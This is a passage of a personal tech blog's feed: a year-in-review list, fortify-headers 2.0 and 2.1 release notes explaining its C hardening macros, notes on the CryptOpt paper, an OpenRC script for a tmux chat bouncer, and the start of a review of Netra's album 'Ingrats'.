<li><a href="https://thirdeditions.com/en/sagas/94-metal-gear-solid-hideo-kojima-s-magnum-opus-9791094723616.html">Metal Gear Solid. Hideo Kojima's Magnum Opus</a>:
deluge of superlatives directed at Kojima, speculative opinionated wild rambling, no mention of the <a href="https://en.wikipedia.org/wiki/Quiet_(Metal_Gear)">rampant</a>
<a href="https://theguardian.com/technology/2014/apr/09/metal-gear-solid-ground-zeroes-sexual-violence">sexism</a>,
typos and frenchisms, … prefer the <a href="https://en.wikipedia.org/wiki/Metal_Gear">wikipedia</a> and <a href="https://metalgear.fandom.com/wiki/Metal_Gear_Wiki">fandom</a> pages instead.</li>
<li><a href="https://en.wikipedia.org/wiki/The_Mirage_(Ruff_novel)">The Mirage</a>: I
was expecting more of a description of an alternative history than a
novel with a lame plot and forgettable characters. The humour is goofy
and unsubtle: a punk rock group called Green Desert has an anti-war
anthem named "Arabian Idiot"; a morning talk show called Jazeera &
Friends, … but this is completely on par with the post-11-September
anti-muslim/Iraqi rhetoric, making it both funny and perfectly adequate.</li>
</ul>
</li>
<li>Moved back to France.</li>
<li>Volunteered at a library.</li>
<li>Refused to sell <a href="https://websec.fr">websec.fr</a></li>
<li>Listened to <a href="https://listenbrainz.org/user/jvoisin/year-in-music/">some music</a>.</li>
<li>Attended some concerts:<ul>
<li><a href="https://en.wikipedia.org/wiki/Eisbrecher">Eisbrecher</a>, along with <a href="https://maerzfeld.de">Maerzfeld</a></li>
<li><a href="https://gojira-music.com">Gojira</a>, along with <a href="https://alienweaponry.com">Alien Weaponry</a></li>
<li><a href="https://katatonia.com">Katatonia</a>, along with
<a href="https://som.band">SOM</a> and <a href="https://solstafir.net">Sólstafir</a></li>
<li><a href="https://heavenshallburn.com">Heaven Shall Burn</a>, along with
<a href="https://trivium.org">Trivium</a>,
<a href="https://en.wikipedia.org/wiki/Malevolence_(band)">Malevolence</a>, and
<a href="https://obituary.cc">Obituary</a></li>
<li><a href="https://igorrr.com">Igorrr</a>, along with
<a href="https://derwegeinerfreiheit.de">Der Weg einer Freiheit</a>,
<a href="https://en.wikipedia.org/wiki/Amenra">Amenra</a>, and
<a href="http://hangmanschair.com">Hangman's Chain</a></li>
</ul>
</li>
<li>Played some video games:<ul>
<li>On a computer:<ul>
<li><a href="https://www.doomworld.com/forum/topic/134292-myhousewad/">MyHouse.WAD</a>: <a href="https://doomwiki.org/wiki/My_House">wow</a>.</li>
<li><a href="https://en.wikipedia.org/wiki/Observer_(video_game)">>observer_</a>: didn't like it.</li>
<li><a href="https://en.wikipedia.org/wiki/Sea_of_Thieves">Sea of Thieves</a>, ~ok with friends.</li>
<li><a href="https://hyperstrange.com/our-games/blood-west/">Blood West</a>: <a href="https://en.wikipedia.org/wiki/Thief_(series)">Thief</a> in the Far West.</li>
<li><a href="https://en.wikipedia.org/wiki/Half-Life%3A_Alyx">Half Life: Alyx</a>: impressive in every way.</li>
<li><a href="https://en.wikipedia.org/wiki/High_on_Life_(video_game)">High on Life</a>: excruciatingly tedious at best.</li>
<li><a href="https://en.wikipedia.org/wiki/Cyberpunk_2077#Cyberpunk_2077:_Phantom_Liberty">Cyberpunk 2077: Phantom Liberty</a>: glorious.</li>
<li><a href="https://en.wikipedia.org/wiki/Tom_Clancy's_Rainbow_Six_Siege">Rainbow Six: Siege</a>: better than <a href="https://en.wikipedia.org/wiki/Counter-Strike">Counter Strike</a>.</li>
<li><a href="https://en.wikipedia.org/wiki/Hogwarts_Legacy">Hogwarts Legacy</a>: breathtaking and well rounded.</li>
<li><a href="https://store.steampowered.com/app/2329130/Rewind_Or_Die/">Rewind or Die</a> felt like playing resident evil again <3</li>
<li><a href="https://en.wikipedia.org/wiki/Outer_Wilds">Outer Wilds</a>: the controls were too terrible for me to play.</li>
<li><a href="https://en.wikipedia.org/wiki/The_Last_of_Us_Part_I">The Last of Us Part 1</a>: ok-ish, not my jam, Joel is a moron.</li>
<li><a href="https://en.wikipedia.org/wiki/The_Witcher_3%3A_Wild_Hunt">The Witcher 3 - Wild Hunt</a>: when did video game get so long…</li>
<li><a href="https://en.wikipedia.org/wiki/Apex_Legends">Apex Legends</a>: a lame version of <a href="https://en.wikipedia.org/wiki/Titanfall_2">Titanfall 2</a>, ok-ish when playing ranked.</li>
<li><a href="https://en.wikipedia.org/wiki/Warhammer_40,000:_Chaos_Gate_-_Daemonhunters">Warhammer 40,000: Chaos Gate - Daemonhunters</a>:
<a href="https://en.wikipedia.org/wiki/XCOM">XCOM</a> with <a href="https://wh40k.lexicanum.com/wiki/Grey_Knights">Grey knights</a>.</li>
<li><a href="https://en.wikipedia.org/wiki/Metal%3A_Hellsinger">Metal: Hellsinger</a>: looked super-lame on gameplay videos, but was surprisingly fun.</li>
<li><a href="https://en.wikipedia.org/wiki/Starfield_(video_game)">Starfield</a>: a buggy clunky quickly-boring
<a href="https://en.wikipedia.org/wiki/The_Elder_Scrolls_V:_Skyrim">Skyrim</a> in space, quickly went back to Cyberpunk 2077.</li>
<li><a href="https://store.steampowered.com/app/1172650/INDUSTRIA/">Industria</a>: catastrophic performances for looking utterly terrible, along with a clunky feeling, promptly uninstalled.</li>
<li><a href="https://en.wikipedia.org/wiki/Journey_to_the_Savage_Planet">Journey to the Savage Planet</a>: Rich in poop-oriented
jokes, trying hard to be funny and maybe even subversive but systematically falling flat.</li>
<li><a href="https://en.wikipedia.org/wiki/Baldur%27s_Gate_3">Baldur's Gate 3</a>: not a
fan of the <a href="https://en.wikipedia.org/wiki/Dungeons_%26_Dragons">Dungeons & Dragons</a> dice-based
gameplay, nor of the hard dialog choices cutting entire parts of the game,
but still an amazing game.</li>
<li><a href="https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain">Metal Gear Solid V: The Definitive Experience</a>,
so <a href="https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_Ground_Zeroes">Metal Gear Solid V: Ground Zeroes</a> and
<a href="https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain">Metal Gear Solid V: The Phantom Pain</a>.
I bought it after having seen the former being run at the <a href="https://gamesdonequick.com/tracker/run/5506">AGDQ 2023</a>.
Truly amazing game overall, except for the <a href="https://en.wikipedia.org/wiki/Metal_Gear_Solid_V:_The_Phantom_Pain#Portrayal_of_Quiet">sexualisation of the <em>sole</em> female character</a>.</li>
</ul>
</li>
<li>On a (glorious) <a href="https://en.wikipedia.org/wiki/Steam_Deck">Steam Deck</a>:<ul>
<li><a href="https://store.steampowered.com/app/638990/UNDYING/">UNDYING</a>: nice
zombie-related game.</li>
<li><a href="https://store.steampowered.com/agecheck/app/1593500/">God of War</a>,
surprisingly "wholesome".</li>
<li><a href="https://blacksaltgames.com/">Dredge</a>, terrific indie game: gorgeous looking, simple yet gripping gameplay, interesting lore and story, …</li>
<li><a href="https://en.wikipedia.org/wiki/Vampyr_(video_game)">Vampyr</a>, because
I miss <a href="https://en.wikipedia.org/wiki/Vampire:_The_Masquerade_%E2%80%93_Bloodlines">Vampire: The Masquerade – Bloodlines</a>. It could have been so much more instead of being "meh".</li>
</ul>
</li>
</ul>
</li>
<li>Ported <a href="https://github.com/jvoisin/snuffleupagus">Snuffleupagus</a> to PHP8.3.</li>
<li>Contributed to a couple of software:<ul>
<li><a href="https://github.com/lite-xl/lite-xl/pulls?q=is%3Apr+author%3Ajvoisin">lite-xl</a></li>
<li><a href="https://alpinelinux.org/">Alpine linux</a>, by:<ul>
<li>becoming a <a href="https://pkgs.alpinelinux.org/packages?branch=edge&repo=&arch=&maintainer=Julien%20Voisin">package maintainer</a></li>
<li><a href="https://gitlab.alpinelinux.org/alpine/tsc/-/issues/64">documenting a bit</a> the compiler-based mitigations,
and <a href="https://gitlab.alpinelinux.org/alpine/abuild/-/merge_requests/221">enabling some missing ones</a>.</li>
</ul>
</li>
<li>Because of <a href="https://runzero.com">runZero</a>, I<ul>
<li><a href="https://github.com/rapid7/recog/pulls?q=+is%3Apr+author%3Ajvoisin">contributed to recog</a> to improve some of its fingerprints;</li>
<li><a href="https://github.com/Sonarr/Sonarr/issues/5601">made it less trivial</a> to detect Sonarr/Lidarr/Radarr/… versions.</li>
</ul>
</li>
<li><a href="https://github.com/struct/isoalloc/pulls?q=is%3Apr+author%3Ajvoisin+created%3A2023">isoalloc</a></li>
<li><a href="https://github.com/pygments/pygments/commits?author=jvoisin">pygments</a>, mainly by adding lexers.</li>
<li><a href="https://github.com/morpheus65535/bazarr/pull/2304">bazaar</a>, making it work on Alpine Linux.</li>
<li><a href="https://github.com/google/oss-fuzz/pulls?q=is%3Apr+author%3Ajvoisin">oss-fuzz</a>,
including some <a href="https://github.com/guidovranken/python-library-fuzzers/pulls?q=is%3Apr+author%3Ajvoisin">python fuzzers</a>.</li>
<li><a href="https://github.com/daanx/mimalloc-bench">mimalloc-bench</a>,
resulting in some <a href="https://github.com/microsoft/snmalloc/pull/587#issuecomment-1442077886">real world improvements</a>.</li>
<li><a href="https://github.com/quodlibet/mutagen/pulls/jvoisin">mutagen</a>, since it's
used by <a href="https://0xacab.org/jvoisin/mat2">mat2</a>. I even <a href="https://github.com/google/oss-fuzz/pull/10072">integrated it into
OSS-Fuzz</a>.</li>
<li><a href="https://github.com/rapid7/metasploit-framework/pulls?q=is%3Apr+jvoisin">metasploit</a>,
by doing a lot of code reviews for pull-requests, and landing some modules,
like a <a href="https://github.com/rapid7/metasploit-framework/pull/17711">SPIP RCE</a>,
courtesy of <a href="https://thinkloveshare.com/">Laluka</a> and <a href="https://twitter.com/coiffeur0x90">coiffeur</a>.</li>
<li><a href="https://chrony.tuxfamily.org/">chrony</a>, spending some time debugging
<a href="https://mail-archive.com/chrony-dev@chrony.tuxfamily.org/msg02572.html">how to enable its seccomp sandbox</a>
on Alpine Linux, resulting in a <a href="https://gitlab.alpinelinux.org/alpine/aports/-/issues/14891#note_316587">couple of improvements</a>,
and of course a <a href="https://gitlab.alpinelinux.org/alpine/aports/-/merge_requests/47087">now-enabled-by-default sandbox</a> there.</li>
</ul>
</li>
<li>Got a CVE for a bug I <a href="https://github.com/py-pdf/pypdf/security/advisories/GHSA-jrm6-h9cq-8gqw">reported</a> in 2020!</li>
<li>Kept maintaining <a href="https://openmw.org">OpenMW</a>'s infrastructure.</li>
<li>Learnt some <a href="https://en.wikipedia.org/wiki/Rust_(programming_language)">Rust</a> so I could hang out with the cool kids.</li>
<li>Helped organise the <a href="http://g.co/ctf">GoogleCTF</a>, which was <a href="https://ctftime.org/event/1929">pretty well received</a>.</li>
<li>Added more possible subtitles to this blog, bringing their numbers above 1100.</li>
<li>Reduced the size of this website's webpages; most should now be around 10kb.</li>
<li>Contributed a bit to Wikipedia, in <a href="https://en.wikipedia.org/wiki/Special:Contributions/jvoisin">English</a> and in <a href="https://fr.wikipedia.org/wiki/Sp%C3%A9cial:Contributions/jvoisin">French</a>
under my usual nickname.</li>
<li>Moved my emails away from <a href="https://gandi.net">Gandi</a> over to <a href="https://migadu.com">Migadu</a>,
given their <a href="https://chatting.neocities.org/posts/2023-gandi-pricing">ludicrous</a> post-acquisition price increase.</li>
<li><a href="https://github.com/jvoisin/compiler-flags-distro">Investigated</a> what
hardening-related compiler flags where enabled by default by popular Linux
distributions.</li>
<li><a href="https://tests.stockfishchess.org/users#jvoisin">Contributed a bit</a> (by crunching numbers) to <a href="https://stockfishchess.org/">Stockfish</a>,
an open-source chess engine with an <a href="https://en.wikipedia.org/wiki/Elo_rating_system">Elo rating</a>
around <a href="https://computerchess.org.uk/ccrl/4040/rating_list_all.html">3500</a>.</li>
<li>Got featured a couple of times on Hackernew/reddit/lobste.rs/… frontpage,
thanks to a <s><a href="https://www.reddit.com/r/karma/wiki/index/faq/">karma</a> junkie</s>
marketing-able <a href="https://dijit.sh">friend</a></li>
<li>Kept maintaining <a href="https://nos-oignons.net/">Nos Oignons</a>'s infrastructure with <a href="https://corl3ss.com/">corl3ss</a>.
We're back at handling <a href="https://nos-oignons.net/Services/index.en.html">around 2%</a>
of tor's exit traffic! Our little non-profit is now 10 years old.</li>
<li><a href="https://github.com/jvoisin/fortify-headers">Took over</a> the development and maintenance of
<a href="https://u.2f30.org/sin/">sin</a>'s <a href="https://git.2f30.org/fortify-headers/">fortify-headers</a>.
It's used by <a href="https://openwrt.org/">OpenWrt</a>, <a href="https://www.alpinelinux.org/">Alpine Linux</a>,
and <a href="https://bugs.gentoo.org/546692">soon</a> in <a href="https://wiki.gentoo.org/wiki/Project:Musl">Gentoo Hardened's musl flavour</a>.</li>
<li>Ported my resume/cover letter template from
<a href="https://latex-project.org">LaTeX</a> to
<a href="https://typst.app/docs/guides/guide-for-latex-users/">typst</a> and felt so
much joy purging away all the LaTeX/TeXLive/XeTeX/LuaTeX/… garbage from my computer,
to never have to touch it again.</li>
<li>Got a "Documented Feedback from Employee Relations" from HR at work for
saying "Awkward to have yet another middle aged rich white het guy come talk
about diversity and inclusion." on an internal chatroom, about <a href="https://booleanblackbelt.com/who-is-the-boolean-black-belt/">this middle
aged rich white het guy</a>
invited to give an internal talk about diversity and inclusion.</li>
</ul>fortify-headers 2.12023-12-16T20:30:00+01:002023-12-16T20:30:00+01:00jvoisintag:dustri.org,2023-12-16:/b/fortify-headers-21.html<p>Only 4 days after the <a href="https://dustri.org/b/fortify-headers-20.html">release</a> of
<a href="https://github.com/jvoisin/fortify-headers">fortify-headers</a>,
here is the <a href="https://github.com/jvoisin/fortify-headers/releases/tag/2.1">2.1</a>,
fixing a couple of portability issues and tidying a bit the code.
<a href="https://chimera-linux.org/">Chimera Linux</a> users are
<a href="https://github.com/chimera-linux/cports/commit/a26be649d8a13c1012d5e165055d354a6bab1af8">as of today</a>
<del>test driving</del> benefiting from it.</p>
<h2>Changelog</h2>
<ul>
<li>Remove superfluous includes from the headers</li>
<li>Put some functions in to their …</li></ul><p>Only 4 days after the <a href="https://dustri.org/b/fortify-headers-20.html">release</a> of
<a href="https://github.com/jvoisin/fortify-headers">fortify-headers</a>,
here is the <a href="https://github.com/jvoisin/fortify-headers/releases/tag/2.1">2.1</a>,
fixing a couple of portability issues and tidying a bit the code.
<a href="https://chimera-linux.org/">Chimera Linux</a> users are
<a href="https://github.com/chimera-linux/cports/commit/a26be649d8a13c1012d5e165055d354a6bab1af8">as of today</a>
<del>test driving</del> benefiting from it.</p>
<h2>Changelog</h2>
<ul>
<li>Remove superfluous includes from the headers</li>
<li>Put some functions in to their proper files</li>
<li>Add a missing include in <code>sys/select.h</code></li>
<li>Do not use static inline for C++ to avoid <a href="https://en.wikipedia.org/wiki/One_Definition_Rule">ODR</a>-wise violation</li>
<li>Guard some conditional stdio APIs with the right macros</li>
<li>Fix a typo that would prevent C++ code from compiling correctly</li>
<li>Rename macros to be more namespace-friendly</li>
</ul>
<h2>Implementation details</h2>
<p>Including parts from the
<a href="https://en.wikipedia.org/wiki/Standard_library">stdlib</a> in fortify means that
programs that don't correctly include everything they need might compile, even
though they shouldn't. Fortunately, the only bits used are either:</p>
<ul>
<li><code>size_t</code>, which can be obtained by using <code>typeof(sizeof(char))</code>,
since it's by definition the type returned by <code>sizeof</code>.</li>
<li>constants like <code>PATH_MAX</code> (that we can define to <code>4096</code>), <code>MB_LEN_MAX</code>
(defined as 16), ...</li>
<li>eldritch constructs like <a href="https://www.man7.org/linux/man-pages/man3/MB_CUR_MAX.3.html"><code>MB_CUR_MAX</code></a>,
whose usage we hide behind an <code>#ifdef</code>.</li>
</ul>
<p>The other big thing is the one caught by <a href="https://github.com/ssbr">Devin Jeanpierre</a>, the usage of <code>static
inline</code> while <a href="https://en.cppreference.com/w/c/language/inline">absolutely alright in C</a>,
is problematic in C++, because of the <a href="https://en.wikipedia.org/wiki/One_Definition_Rule">One Definition Rule</a>:
In C++, if a function is declared inline, it must be declared inline in every translation unit, and also every
definition of an inline function must be exactly the same (while in C they may
be different.) On the other hand, C++ allows non-const function-local
statics and all function-local statics from different definitions of an inline
function are the same in C++, but distinct in C.
More practically, calling <code>FORTIFY_INLINE</code> functions from an inline function in C++, and including
the header defining that inline function in more than one <a href="https://en.wikipedia.org/wiki/Translation_unit_%28programming%29">translation
unit</a> results
in undefined behaviour. The fix is easy, and was
<a href="https://github.com/jvoisin/fortify-headers/commit/c607773a80e6685ab4c922245c33cf2ea5dcfb72">commited</a>
by <a href="https;//github.com/q66">q66</a>: use <code>static</code> instead of <code>static inline</code> in C++.</p>
<p>Thanks <a href="https://github.com/ssbr">Devin Jeanpierre</a> for spending time to look at
C++ compatibility, <a href="https://github.com/q66">q66</a> for his patches, willingness to ship
fortify-headers in Chimera, and becoming co-maintainer.</p>fortify-headers 2.02023-12-12T23:30:00+01:002023-12-12T23:30:00+01:00jvoisintag:dustri.org,2023-12-12:/b/fortify-headers-20.html<p>8 months ago, I started to contribute to <a href="https://git.2f30.org/fortify-headers/">fortify-headers</a>,
a standalone <a href="https://gcc.gnu.org/legacy-ml/gcc-patches/2004-09/msg02055.html">fortify-source</a> implementation,
with the goal of implementing <code>FORTIFY_SOURCE=3</code>, since the current version
only implemented <code>FORTIFY_SOURCE=2</code>. I reached out to
<a href="https://u.2f30.org/sin/">sin</a>, the original maintainer, to ask if he was
interested in my changes, and he told me the …</p><p>8 months ago, I started to contribute to <a href="https://git.2f30.org/fortify-headers/">fortify-headers</a>,
a standalone <a href="https://gcc.gnu.org/legacy-ml/gcc-patches/2004-09/msg02055.html">fortify-source</a> implementation,
with the goal of implementing <code>FORTIFY_SOURCE=3</code>, since the current version
only implemented <code>FORTIFY_SOURCE=2</code>. I reached out to
<a href="https://u.2f30.org/sin/">sin</a>, the original maintainer, to ask if he was
interested in my changes, and he told me the project wasn't maintained
anymore. But he would be happy to give me the commit bit instead. I spent
some months <a href="https://github.com/jvoisin/fortify-headers">writing code</a> before
accepting, to see if it would be a good idea: Would I be able to maintain it?
To improve it? Add more features? and so on. Turns out the answer is yes, and
I'm thus happy to announce the immediate availability of <a href="https://git.2f30.org/fortify-headers/refs.html">fortify-headers
2.0</a>!</p>
<h2>Changelog</h2>
<ul>
<li>Added clang support, based on <a href="https://github.com/q66">q66</a>'s patches.</li>
<li>Fixed a 64b-related incompatibility around <code>ppoll</code> </li>
<li>Added a ton of tests, with <a href="https://jvoisin.github.io/fortify-headers/">around 90% of coverage</a></li>
<li>Made use of <code>__builtin_dynamic_object_size</code> when <code>FORTIFY_SOURCE=3</code> is used,
instead of <code>__builtin_object_size</code>.</li>
<li>Made use of <a href="https://clang.llvm.org/docs/AttributeReference.html">attributes</a>:
<a href="https://clang.llvm.org/docs/AttributeReference.html#alloc-size">alloc_size</a>,
<a href="https://clang.llvm.org/docs/AttributeReference.html#diagnose-as-builtin">diagnose_as_builtin</a>,
<a href="https://clang.llvm.org/docs/AttributeReference.html#diagnose-if">diagnose_if</a>,
<a href="https://clang.llvm.org/docs/AttributeReference.html#format">format</a>,
<a href="https://clang.llvm.org/docs/AttributeReference.html#malloc">malloc</a>,
<a href="https://clang.llvm.org/docs/AttributeReference.html#nodiscard-warn-unused-result">warn_unused_result</a>,
…</li>
<li>Added some missing functions, like <code>calloc</code>, <code>fdopen</code>, <code>fmemopen</code>, <code>fprintf</code>,
<code>malloc</code>, <code>memchr</code>, <code>popen</code>, <code>printf</code>, <code>qsort</code>, <code>umask</code>, …</li>
<li>Added continuous integration, both on clang and gcc, covering the whole range
of supported versions across the latest Ubuntu LTS.</li>
</ul>
<h2>Implementation details</h2>
<p>Since this is a pretty uncommon piece of software, friends of mine have been
asking me details about the involved black magic.
While it's possible to overload functions with the
<a href="https://clang.llvm.org/docs/AttributeReference.html#overloadable">overloadable</a>
attribute in C, there isn't really something similar for drive-by overloading.
Fortunately, it's possible to hack an equivalent by combining
<a href="https://gcc.gnu.org/onlinedocs/cpp/Wrapper-Headers.html"><code>#include_next</code></a> with
the following macros:</p>
<div class="codehilite"><pre><span></span><code><span class="cp">#define _FORTIFY_STR(s) #s</span>
<span class="cp">#define _FORTIFY_ORIG(p, fn) __typeof__(fn) __orig_##fn __asm__(_FORTIFY_STR(p) #fn)</span>
<span class="cp">#define _FORTIFY_FNB(fn) _FORTIFY_ORIG(__USER_LABEL_PREFIX__, fn)</span>
<span class="cp">#define _FORTIFY_FN(fn) _FORTIFY_FNB(fn); _FORTIFY_INLINE</span>
</code></pre></div>
<p>This makes the original function available when prefixed with <code>__orig</code>,
while allowing overloading.
On clang, the <a href="https://clang.llvm.org/docs/AttributeReference.html#pass-object-size-pass-dynamic-object-size"><code>pass_object_size</code>/<code>pass_dynamic_object_size</code></a>
attribute is used to pass down arguments size; the assembly label preventing
weird <a href="https://en.wikipedia.org/wiki/Name_mangling">mangling</a> issues. Since
it's only a label, despite being assembly, it's still portable across various
architectures. The <code>_FORTIFY_INLINE</code> macro contains all possible "please inline this
function" directives as possible, to avoid polluting the symbols.</p>
<p>There is of course a ton of <code>#ifdef</code>/<code>#if __has_atribute</code>/… to work around various
compiler intrinsics, like clang missing <code>__builtin_va_arg_pack</code> or gcc missing
<code>diagnose_if</code>, so that fortify-headers will always make use of the most
features available.</p>
<p>It is indeed a particularly gross pile of hacks,
but this is C, also known as "nice things and why we can't have them."</p>
<p>Thanks to <a href="https://u.2f30.org/sin/">sin</a> for creating the project and
maintaining it for years, <a href="https://daniel.micay.dev">strcat</a> for his inspiring
work on fortifying <a href="https://en.wikipedia.org/wiki/Bionic_(software)">bionic</a>,
<a href="https://github.com/q66">q66</a> for his clang patches and general support,
the friendly people from <a href="https://2f30.org">2f30</a> for their patience,
<a href="http://serge.liyun.free.fr/serge/">Serge Sans Paille</a> for his <a href="https://github.com/serge-sans-paille/fortify-test-suite">testsuite</a>,
<a href="https://people.freebsd.org/~kevans/">kevans</a> for his work on fortifying
<a href="https://reviews.freebsd.org/D32306">FreeBSD's libc</a>,
Red Hat from pushing <code>FORTIFY_SOURCE=2</code> and <code>FORTIFY_SOURCE=3</code> forward,
...</p>Paper notes: CryptOpt2023-12-01T12:30:00+01:002023-12-01T12:30:00+01:00jvoisintag:dustri.org,2023-12-01:/b/paper-notes-cryptopt.html<ul>
<li>Full title: CryptOpt: Verified Compilation with Randomized Program Search for Cryptographic Primitives</li>
<li>PDF: <a href="https://arxiv.org/abs/2211.10665">arXiv</a> (<a href="https://dustri.org/b/files/papers/cryptopt.pdf">local mirror</a>)</li>
<li>Authors: Joel Kuepper, Andres Erbsen, Jason Gross, Owen Conoly, Chuyue Sun, Samuel Tian, David Wu, Adam Chlipala, Chitchanok Chuengsatiansup, Daniel Genkin, Markus Wagner, Yuval Yarom</li>
</ul>
<p>Cryptography is hard, high-performance one even more so: formal …</p><ul>
<li>Full title: CryptOpt: Verified Compilation with Randomized Program Search for Cryptographic Primitives</li>
<li>PDF: <a href="https://arxiv.org/abs/2211.10665">arXiv</a> (<a href="https://dustri.org/b/files/papers/cryptopt.pdf">local mirror</a>)</li>
<li>Authors: Joel Kuepper, Andres Erbsen, Jason Gross, Owen Conoly, Chuyue Sun, Samuel Tian, David Wu, Adam Chlipala, Chitchanok Chuengsatiansup, Daniel Genkin, Markus Wagner, Yuval Yarom</li>
</ul>
<p>Cryptography is hard, high-performance one even more so: formal proof of
assembly implementations is horrible to model, and code generation from
formal proofs are hard to lower to high-performance assembly. The core idea of
CryptOpt is to treat this as a black box combinatorial optimization problem,
and bruteforce possible solutions in a smart way against an oracle.</p>
<p>More precisely:</p>
<ol>
<li>start from a known-correct implementation in
<a href="https://github.com/mit-plv/fiat-crypto">fiat-crypto</a> (a
coq-powered high-level to low-level IR proven translator) low-level IR;</li>
<li>lower it via a fuzzer-like machinery replacing/reordering operands
applying semantics-and-data-constrains-preserving transformations, which has an acceptable
search space because:<ul>
<li>it's straight-line no-aliasing constant-offset-pointers assembly;</li>
<li>transformations can be templatised, eg. <code>add ≍ clc; adcx</code>;</li>
</ul>
</li>
<li>lift the resulting x64 assembly to fiat-crypto low-level IR;</li>
<li>use a custom <a href="https://en.wikipedia.org/wiki/E-graph">e-graph</a> based
<em>equivalence checker</em> implemented as a mix between an SMT solver and a symbolic-execution engine;</li>
<li>if the new implementation is correct, benchmark it against the current;
fastest one, and keep it if it's outperforming it.</li>
<li><code>goto 2</code>.</li>
</ol>
<p>This approach has a couple of advantages:</p>
<ul>
<li>fuzzers are cheaper than highly specialised engineering time</li>
<li>porting implementations to new hardware is simply a matter of
running CryptOpt on it.</li>
<li>by lifting the assembly to fiat-crypto low-level IR,
there is no need to write complex formal proofs,
since fiat-crypto is already taking care of those.</li>
<li>controlling the mutations allows to ensure that
the implementation stays side-channel free.</li>
</ul>
<p>The main issue though, is that one needs to formally implement
whatever algorithm to optimize in fiat-crypto, which is not that easy (and
which the authors of the paper didn't do for libsecp256k1).</p>
<p>Implementation-wise, the author ran 200k mutations, with 20 initial candidates,
over 18 Fiat IR primitives, taking between 20 and 40 CPU hours. Interestingly,
since the equivalence-based verification is <em>slow</em> (between 0.1s and ~300s),
it's only done once at the end. They found out that "optimization progress is roughly logarithmic
in the number of mutations." CryptOpt generates code around 1.20 to 2.50 times
faster than gcc/clang for the same fiat-crypto generated C code. It's not
faster then OpenSSL (but offers formally verified correctness), but is
faster than libsecp256k1.</p>
<p>The paper was <a href="https://iacr.org/submit/files/slides/2023/rwc/rwc2023/85/slides.pdf">presented</a> at <a href="https://rwc.iacr.org/2023/program.php">Real World Crypto 2023</a>,
and like all good one, it came with an <a href="https://github.com/0xADE1A1DE/CryptOpt">implementation</a></p>Managing a bouncer via OpenRC2023-11-24T16:30:00+01:002023-11-24T16:30:00+01:00jvoisintag:dustri.org,2023-11-24:/b/managing-a-bouncer-via-openrc.html<p>I'm an avid <a href="https://en.wikipedia.org/wiki/Internet_Relay_Chat">IRC</a>
user, and I'm using <a href="https://en.wikipedia.org/wiki/XMPP">XMPP</a> to idle on
<a href="https://tails.net/support/index.en.html">Tails</a>' chatrooms. Since protocols
tend to only work when one is connected, they're both running inside a
<a href="https://github.com/tmux/tmux">tmux</a> session, acting as a
<a href="https://en.wikipedia.org/wiki/BNC_(software)">bouncer</a>.
But now that my hypervisor is automatically rebooting to apply security updates,
and during power …</p><p>I'm an avid <a href="https://en.wikipedia.org/wiki/Internet_Relay_Chat">IRC</a>
user, and I'm using <a href="https://en.wikipedia.org/wiki/XMPP">XMPP</a> to idle on
<a href="https://tails.net/support/index.en.html">Tails</a>' chatrooms. Since protocols
tend to only work when one is connected, they're both running inside a
<a href="https://github.com/tmux/tmux">tmux</a> session, acting as a
<a href="https://en.wikipedia.org/wiki/BNC_(software)">bouncer</a>.
But now that my hypervisor is automatically rebooting to apply security updates,
and during power cuts via <a href="https://networkupstools.org/">nut</a>,
I needed a way to automatically restart the bouncer. Since
it's running in an <a href="https://www.alpinelinux.org/">Alpine Linux</a> container,
here is my solution in the form of an <a href="https://github.com/OpenRC/openrc">OpenRC</a>
service script, because I couldn't find one on the internet:</p>
<div class="codehilite"><pre><span></span><code><span class="ch">#!/sbin/openrc-run</span>
<span class="nv">USER</span><span class="o">=</span>jvoisin
<span class="nv">name</span><span class="o">=</span><span class="s2">"chat"</span>
<span class="nv">command_user</span><span class="o">=</span><span class="s2">"</span><span class="nv">$USER</span><span class="s2">"</span>
<span class="nv">command</span><span class="o">=</span>/usr/bin/tmux
<span class="nv">command_args</span><span class="o">=</span><span class="s2">"new-session -s chat -d '/usr/bin/weechat' \; new-window '/usr/bin/profanity' \; select-window -t -1"</span>
<span class="nv">pidfile</span><span class="o">=</span><span class="s2">"/run/</span><span class="nv">$SVCNAME</span><span class="s2">.pid"</span>
depend<span class="o">()</span><span class="w"> </span><span class="o">{</span>
<span class="w"> </span>need<span class="w"> </span>net
<span class="w"> </span>use<span class="w"> </span>dns<span class="w"> </span>
<span class="o">}</span><span class="w"> </span>
stop<span class="o">()</span><span class="w"> </span><span class="o">{</span>
<span class="w"> </span>su<span class="w"> </span><span class="s2">"</span><span class="nv">$USER</span><span class="s2">"</span><span class="w"> </span>-c<span class="w"> </span><span class="s1">'tmux kill-session chat'</span>
<span class="o">}</span>
</code></pre></div>Netra - Ingrats2023-11-18T22:45:00+01:002023-11-18T22:45:00+01:00jvoisintag:dustri.org,2023-11-18:/b/netra-ingrats.html<p><a href="https://hypnoticdirgerecords.bandcamp.com/album/ingrats"><img alt="Cover" src="https://dustri.org/b/images/netra_ingrats.jpg"></a></p>
<p><em>Ingrats</em> ("ungrateful ones" in French) is the 3<sup>rd</sup> album from
Netra, and it's a very lonely one, for I don't think it has any peers. A mix of
depressive black metal, trip hop, and jazz à la <a href="https://en.wikipedia.org/wiki/Bohren_%26_der_Club_of_Gore">Bohren & der Club of
Gore</a> in equal
measures, bound together with a …</p><p><a href="https://hypnoticdirgerecords.bandcamp.com/album/ingrats"><img alt="Cover" src="https://dustri.org/b/images/netra_ingrats.jpg"></a></p>
<p><em>Ingrats</em> ("ungrateful ones" in French) is the 3<sup>rd</sup> album from
Netra, and it's a very lonely one, for I don't think it has any peers. A mix of
depressive black metal, trip hop, and jazz à la <a href="https://en.wikipedia.org/wiki/Bohren_%26_der_Club_of_Gore">Bohren & der Club of
Gore</a> in equal
measures, bound together with a hint of depressive darkwave, resulting
in a not only surprisingly cohesive and daring record, but also an excessively
pleasant and honest one.</p>
<p>Opening with "Gimme a break", a mellow jazzy noir blues vibe where one wants to
snap in rhythm, things quickly devolve into blast beats, raw screams and
twisted guitar of "Everything’s Fine", arguably the most black-metal-esque song
of the album. Albeit it is way more than yet-another-black-metal-track,
morphing into something more complex, with an eerie piano melody, and some
almost gothic rock clear singing. The sudden transitions are perfectly
executed, and the work on the voices is truly delicious, resulting in an
alienating, impetuous yet melancholic track. "Underneath my words the ruins of
yours" is a subtle mix of trip-hop and atmospheric post-rock/darkwave,
pursuing with "Live with It", even more trip-hop, but this time with a
